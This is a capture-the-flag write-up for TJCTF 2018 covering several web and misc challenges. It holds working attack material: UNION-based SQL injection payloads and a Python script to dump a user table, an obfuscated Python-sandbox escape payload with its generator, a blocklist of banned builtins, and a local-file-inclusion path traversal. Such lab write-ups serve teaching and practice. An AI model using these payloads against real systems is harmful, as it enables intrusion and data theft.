TJCTF 2018 - Write-ups

🔗Information

🔗Version

By Version Comment
noraj 1.0 Creation

🔗CTF

  • Name : TJCTF 2018
  • Website : tjctf.org
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

🔗40 - Ess Kyoo Ell - Web

Written by okulkarni

Find the IP address of the admin user! (flag is tjctf{[ip]})

https://ess-kyoo-ell.tjctf.org/

First I tried to send normal data in the form and I got the following error: This is what I got about you from the database: no such column: password.

It seems weird and it sounds like a SQLi.

Trying to inject the POST parameters value doesn't work so I tried to inject the key instead, as suggested by the the error message.

So I replaced password with ' (a simple quote).

The server answered another error message: 'NoneType' object is not iterable. This seems like a python error message, so the web server backend should be using python.

Then I tried a UNION-based injection: '%20UNION%20SELECT%201--%20- (' UNION SELECT 1-- -)

I got SELECTs to the left and right of UNION do not have the same number of result columns.

  1. Now we are pretty sure we have a SQL injection.
  2. We can continue to add 1, to discover the number of columns, because I'm curious

Finaly I went up to 7 columns to stop getting an error: '%20UNION%20SELECT%201,1,1,1,1,1,1--%20- (' UNION SELECT 1,1,1,1,1,1,1-- -)

Now we have this cute JSON output leaking all the columns:

{'id': 1, 'username': 1, 'first_name': 1, 'last_name': 1, 'email': 1, 'gender': 1, 'ip_address': 1}

Finding the number of columns was not required, this works too: '%20UNION%20SELECT%20*%20from users--%20- (' UNION SELECT * from users-- -)

Note: finding the table users was just some easy guessing.

Hey! We leaked an user account!

We can iterate with '%20UNION%20SELECT%20*%20from users limit 1 offset 1--%20- (' UNION SELECT * from users limit 1 offset 1-- -)

Now we have two choices: first we can continue to iterate to dump the whole database until we find the username admin, like I did with this python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from bs4 import BeautifulSoup
import json
import re
import ast

burp0_url = "https://ess-kyoo-ell.tjctf.org:443/"
burp0_cookies = {"__cfduid": "d964d07a476f4e291ef50328373ec7b931533661597"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://ess-kyoo-ell.tjctf.org/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

for x in range(0, 1000):
burp0_data={"' UNION SELECT *from users limit 1 offset %i-- -" % x : "a"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

html = BeautifulSoup(res.text, 'html.parser')
for p in html.select('p'):
if p['id'] == 'profile-name':
regex = r"This is what I got about you from the database: ({.*})"
if re.search(regex, p.text):
match = re.search(regex, p.text)

json_data = match.group(1)
# json with single quote delimiter to dict
json_data = ast.literal_eval(json_data)
# dict to json string with double quote
json_data = json.dumps(json_data)
# json string with double quote to json object
data = json.loads(json_data)
if re.search(r".*admin.*",data['username']):
#print(data['username']+' : '+ data['ip_address'])
print(json_data)

Or instead of dumping the whole database that is much more work and cost much more time, we could have just used '%20UNION%20SELECT%20*%20from%20users%20where%20username%3d"admin"--%20- (' UNION SELECT * from users where username="admin"-- -) to find the admin user directly.

In both cases we get only one result:

{"id": 706, "username": "admin", "first_name": "Administrative", "last_name": "User", "email": "[email\u00a0protected]", "gender": "Female", "ip_address": "145.3.1.213"}

So the flag is: tjctf{145.3.1.213}.

🔗100 - Mirror Mirror - Miscellaneous

Written by Alaska47

If you look closely, you can see a reflection.

nc problem1.tjctf.org 8004

Here is what the server is telling us:

1
2
3
nc problem1.tjctf.org 8004
Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!
>>>

We are in a python jail a.k.a. PyJail (python sandbox). We know we must use get_flag() and wrap our input in double quotes.

Let's try to find more info:

1
2
3
4
>>> get_flag.func_code.co_consts
(None, 'this_is_the_super_secret_string', 48, 57, 65, 90, 97, 122, 44, 95, ' is not a valid character', '%\xcb', "You didn't guess the value of my super_secret_string")
>>> get_flag(get_flag.func_code.co_consts[1])
t is not a valid character

So we see there is a variable called this_is_the_super_secret_string. Then there is 48, 57, 65, 90, 97, 122, 44, 95, which converted from decimal to ASCII gives 09AZaz,_. Then we have is not a valid character so we can deduce that we have a regex [0-9a-zA-Z_,] filtering the input.

Trying get_flag(get_flag.func_code.co_consts[1]) will give t is not a valid character, proving that there is such a filtering.

Fuzzing a little will throw this:

1
2
3
4
Traceback (most recent call last):
File "<console>", line 1, in <module>
File "/home/app/problem.py", line 23, in get_flag
if(eval(input) == super_secret_string):

So we know our input is evaluated after being filtered.

Our goal is to get something like get_flag("this_is_the_super_secret_string") but not matching [0-9a-zA-Z_,].

That's the hard part.

I looked for some python jail WU and re-found the great wapiflapi WU from PlaidCTF (https://wapiflapi.github.io/2013/04/22/plaidctf-pyjail-story-of-pythons-escape/). You'll see that I will quote him a lot.

Quick reminder, in python eval is used to evaluate an expression and returns its value whereas exec is a statement that compiles and executes a set of statements. In short this means you can execute statements when you are using exec but not when using eval.

[...]

Most of python are just references, and this we can see here again. These protections only remove references. The original modules like os, and the builtins are not altered in any way. Our task is quiet clear, we need to find a reference to something useful and use it to find the flag on the file system. But first we need to find a way of executing code with this little characters allowed.

🔗Running code

In his WU, wapiflapi can use this set of chars

1
set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~'])

where here, we can't use _ and ,. So our solution will be a little different.

Use sys.version we can know the version of python running:

1
2
>>> get_flag.func_globals["s" + "ys"].version
'2.7.15rc1 (default, Apr 15 2018, 21:51:34) \n[GCC 7.3.0]'

As it is some python 2.7 we can use tuples (), lists [], dictionaries {:}, sets {}, strings ' ', % for formatting.

We can also use <, ~, `.

< and ~ are simple operators, we can do less-than comparison and binary-negation.

In python2 ` allows us to produce strings out of objects because `x` is equivalent to repr(x).

< can be used both for comparing to integers and in the form of << binary-shifting them to the left.

The first thing to notice is that []<[] is False, which is pretty logical. What is less explainable but serves us well is the fact that {}<[] evaluates to True.

True and False, when used in arithmetic operations, behave like 1 and 0. This will be the building block of our decoder but we still need to find a way to actually produce arbitrary strings.

🔗Getting characters

Let's start with a generic solution, we will improve on it later. Getting the numeric ASCII values of our characters seems doable with True, False, ~ and <<. But we need something like str() or "%c". This is where the invisible characters come in handy! "\xcb" for example, it's not even ascii as it is larger than 127, but it is valid in a python string, and we can send it to the server.

If we take its representation using `'_\xcb_'` (In practice we will send a byte with the value 0xcb not '\xcb'), we have a string containing a c. We also need a '%', and we need those two, and those two only.

We want this: `'%\xcb'`[1::3] , using True and False to build the numbers we get:

1
2
> `'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]
>

There you go! Now provided we can have any number build using the same trick as for the indexes we just have to use the above and %(number) to get any character we want.

So we want to get something like "%c" % (70) to get a F.

🔗Numbers

If you have ever studied any logic you might have encountered the claim that everything could be done with NAND gates. NOT-AND. This is remarkably close to how we shall proceed, except for the fact we shall use multiply-by-two instead of AND. We won't use True.

Everything can be done using only False (0), ~ (not), << (x2), let me show you with an example. We shall go from 42 to 0 using ~ and /2, then we can revert that process using ~ and *2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>>> 42 / 2
21
>>> ~21
-22
>>> -22 / 2
-11
>>> ~-11
10
>>> 10 / 2
5
>>> ~5
-6
>>> -6 / 2
-3
>>> ~-3
2
>>> 2 / 2
1
>>> True == (~((~((~((~(42/2))/2))/2))/2))/2
True

Basically we divided by two when we could, else we inverted all the bits. The nice property of this is that when inverting we are guaranteed to be able to divide by two afterward. So that finally we shall hit 1, 0 or -1.

But wait. Didn't I say we would not use True, 1? Yes I did, but I lied. We will use it because True is obviously shorter than ~(~False*2), especially considering the fact we will use True anyway to do x2, which in our case is of course <<({}<[]).

Anyway, the moment we hit 1, 0 or -1 we can just use True, False or ~False.

So now we can reverse this and we have:

1
2
>>> 42 == ~(~(~(~(1*2)*2)*2)*2)*2
True

Using what we are allowed to:

1
2
>>> 42 == ~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])
True

So by using this function, we can transform any number into a kind of logical brainfuck:

1
2
3
4
5
6
7
8
def brainfuckize(nb):
if nb in [-2, -1, 0, 1]:
return ["~({}<[])", "~([]<[])",
"([]<[])", "({}<[])"][nb+2]
if nb % 2:
return "~%s" % brainfuckize(~nb)
else:
return "(%s<<({}<[]))" % brainfuckize(nb/2)

🔗Joining

So we can already transform any char into non-alphabetical code like this:

1
2
>>> brainfuckize(ord('F'))
'(~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))'

Now we want to join the letters together to make a string.

wapiflapi was using the following trick to transform an array of chars into a string.

1
2
3
4
5
6
7
8
>>> ['a', 'b', 'c', 'd']
['a', 'b', 'c', 'd']
>>> `['a', 'b', 'c', 'd']`
"['a', 'b', 'c', 'd']"
>>> `['a', 'b', 'c', 'd']`[2::5]
'abcd'
>>> `['a', 'b', 'c', 'd']`[(({}<[])<<({}<[]))::~(~(({}<[])<<({}<[]))<<({}<[]))]
'abcd'

This is shorter than the solution I will show you but this is using comas, and we can't.

So I would rather use concatenation with + instead of ,.

1
2
>>> 'a'+'b'+'c'+'d'
'abcd'

So I made a script to automate that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from __future__ import print_function

def brainfuckize(nb):
if nb in [-2, -1, 0, 1]:
return ["~({}<[])", "~([]<[])",
"([]<[])", "({}<[])"][nb+2]
if nb % 2:
return "~%s" % brainfuckize(~nb)
else:
return "(%s<<({}<[]))" % brainfuckize(nb/2)

# initialize final payload
payload=''
# the string we want to obfuscate
secret = [c for c in 'this_is_the_super_secret_string']
# %c
# we are forced to escape the '\' like that `\\` else it is interpreted
pourcent_c = """`'%\\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]"""
# pourcent
pourcent = '%'
# plus
plus='+'

for c in secret:
# ex: 'F' => 70 => '(~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))'
brainfuck_ord = brainfuckize(ord(c))
# "%c" % (~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))
# "%c" % 70 => "F"
# as we want a ready to paste paylaod we add '+' to concatenate
payload += pourcent_c+pourcent+brainfuck_ord+plus


# remove last '+'
payload = payload[:-1]

print(payload, end='')

Running it gives us the wanted string:

1
2
>>> `'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))
'this_is_the_super_secret_string'

Now get back to the server, put out payload into docstring like that: get_flag("""out_payload_here""").

Final payload:

1
2
>>> get_flag("""`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))""")
tjctf{wh0_kn3w_pyth0n_w4s_s0_sl1pp3ry}

🔗Bonus

Someone of my team managed to get the list of filtered functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
>>> s = "s" + "ys"
>>> o = "o" + "s"
>>> read=get_flag.func_globals[s].modules[o]
>>> dir(read)[164]
'open'

>>> get_flag.func_globals["s" + "ys"].modules["o" + "s"].listdir('.')
['.bash_logout', '.profile', '.bashrc', 'wrapper', 'problem.py']

>>> get_flag.func_globals["_" + "_fi" + "le_" + "_"]
'/home/app/problem.py'

>>> get_flag.func_globals {
'PseudoFile': <class '__main__.PseudoFile'>,
'code': <module 'code' from '/usr/lib/python2.7/code.pyc'>,
'bad': ['__class__', '__base__', '__subclasses__', '_module', 'open', 'eval', 'execfile', 'exec', 'type', 'lambda', 'getattr', 'setattr', '__', 'file', 'reload', 'compile', 'builtins', 'os',
'sys', 'system', 'vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply'],
'__builtins__': <module '?' (built-in)>,
'__file__': '/home/app/problem.py',
'execfile': <built-in function execfile>,
'__package__': None, 'sys': <module 'sys' (built-in)>,
'getattr': <built-in function getattr>,
'Shell': <class __main__.Shell at 0x7fe09eb27c80>,
'banned': ['vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply'],
'InteractiveConsole': <class code.InteractiveConsole at 0x7fe09eb27c18>,
'eval': <built-in function eval>,
'get_flag': <function get_flag at 0x7fe09eb378c0>, '__name__': '__main__',
'main': <function main at 0x7fe09eb4a410>,
'__doc__': None,
'print_function': _Feature((2, 6, 0, 'alpha', 2), (3, 0, 0, 'alpha', 0), 65536)
}

🔗30 - Request Me - Web

Written by okulkarni

https://request_me.tjctf.org/

Let's see all HTTP verbs available, then we see it requires basic auth, so we can try all verbs with admin:admin and finally catch the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ curl https://request_me.tjctf.org/
<p>WRONG <a href="https://lmgtfy.com/?q=http+request+options">FLAG</a></p>

$ curl -X OPTIONS https://request_me.tjctf.org/
GET, POST, PUT, DELETE, OPTIONS
Parameters: username, password
Some methods require HTTP Basic Auth

$ curl -X POST -u admin:admin https://request_me.tjctf.org/
Maybe you should take your credentials back?

$ curl -X PUT -u admin:admin https://request_me.tjctf.org/
I couldn't steal your credentials! Where did you hide them?

$ curl -X DELETE -u admin:admin https://request_me.tjctf.org/
Finally! The flag is tjctf{wHy_4re_th3r3_s0_m4ny_Opt10nS}

🔗10 - Central Savings Account - Web

Written by evanyeyeye

I seem to have forgotten the password for my savings account. What am I gonna do?

The flag is not in standard flag format.

By seeing the source of https://central_savings_account.tjctf.org/, we can see a static JS file: main.js.

Where there is a lot of useless stuff and finally:

1
2
3
4
5
6
7
8
9
10
$(document).ready(function() {
$("#login-form").submit(function() {
if (md5($("#password").val()).toLowerCase() === "698967f805dea9ea073d188d73ab7390") {
$("html").html("<h1>Login Succeeded!</h1>");
}
else {
$("html").html("<h1>Login Failed!</h1>");
}
})
});

I just used https://crackstation.net/ to break the md5 hash, the result is avalon.

Go to https://cookie_monster.tjctf.org/, scroll a little, check your HTTP request headers and you can see:

1
Cookie: __cfduid=d4b34a99d1a8656cd377ff7524aea2d5c1533757862; flag=tjctf{c00ki3s_over_h0rs3s}

🔗60 - Programmable Hyperlinked Pasta - Web

Written by nthistle

Check out my new site! PHP is so cool!

programmable_hyperlinked_pasta.tjctf.org

Just check the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<body>

<div id="main-block">

<h1> Neil's Site! </h1>
<p>
I'm Neil, and this is my site. I work here with my good friends Evan and Aneesh. Everything on here has a story and a price. One thing I've learned after 18 years - you never know what is gonna get you that flag. </p>
<!-- <a href="flag.txt">Here's a flag!</a> -->
<br />
<div class="center">
<img src="evanshi-en-us.png" class="center" width=100 />
<br />
This is Evan. </div>
</div>

<div id="footer">
Now in <a href="?lang=es.php">Spanish!</a></div>

</body>

There is a flag.txt somewhere and a url ?lang=es.php that looks LFI injectable.

So just run https://programmable_hyperlinked_pasta.tjctf.org/?lang=../flag.txt and get the flag: tjctf{l0c4l_f1l3_wh4t?}.

🔗25 - huuuuuge - Misc

Written by Alaska47

Don't think too deep.

104.154.187.226/huuuuuge

It looks like a git repository.

1
2
3
4
5
6
7
8
9
10
11
$ nmap -p 80,443,22 104.154.187.226
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 19:48 CEST
Nmap scan report for 226.187.154.104.bc.googleusercontent.com (104.154.187.226)
Host is up (0.12s latency).

PORT STATE SERVICE
22/tcp open ssh
80/tcp closed http
443/tcp filtered https

Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds

HTTP ports are closed or filtered so we are only able to use git on ssh.

1
$ git clone git://104.154.187.226/.git repo-root

Useless, that not the good repository.

Let's try the good one:

1
2
3
4
5
6
7
8
$ git clone git://104.154.187.226/huuuuuge/.git/ repo-huge
Cloning into 'huuuuuge'...
remote: Counting objects: 309, done.
remote: warning: suboptimal pack - out of memory
remote: fatal: Out of memory, malloc failed (tried to allocate 104857601 bytes)
remote: aborting due to possible repository corruption on the remote side.
fatal: early EOF
fatal: index-pack failed

Now we know why it is called huuuuuge. We need to find a way to clone just a part of the repository.

Let's see how many branches there are.

1
2
3
$ git ls-remote git://104.154.187.226/huuuuuge/.git/
7282da7e145e269d175dfcceb38b0739a8fa90e7 HEAD
7282da7e145e269d175dfcceb38b0739a8fa90e7 refs/heads/master

So we have only one branch (master).

I found an Atalassian article about dealing with huge git repository.

How to handle big repositories with Git

The first solution to a fast clone and saving developer’s and system’s time and disk space is to copy only recent revisions. Git’s shallow clone option allows you to pull down only the latest n commits of the repo’s history.

1
2
3
4
5
6
7
8
9
10
$  git clone --depth 1 git://104.154.187.226/huuuuuge/.git/ repo-huge
Cloning into 'repo-huge'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.

$ cd repo-huge

$ cat flag.txt
tjctf{this_fl4g_1s_huuuuuge}
Share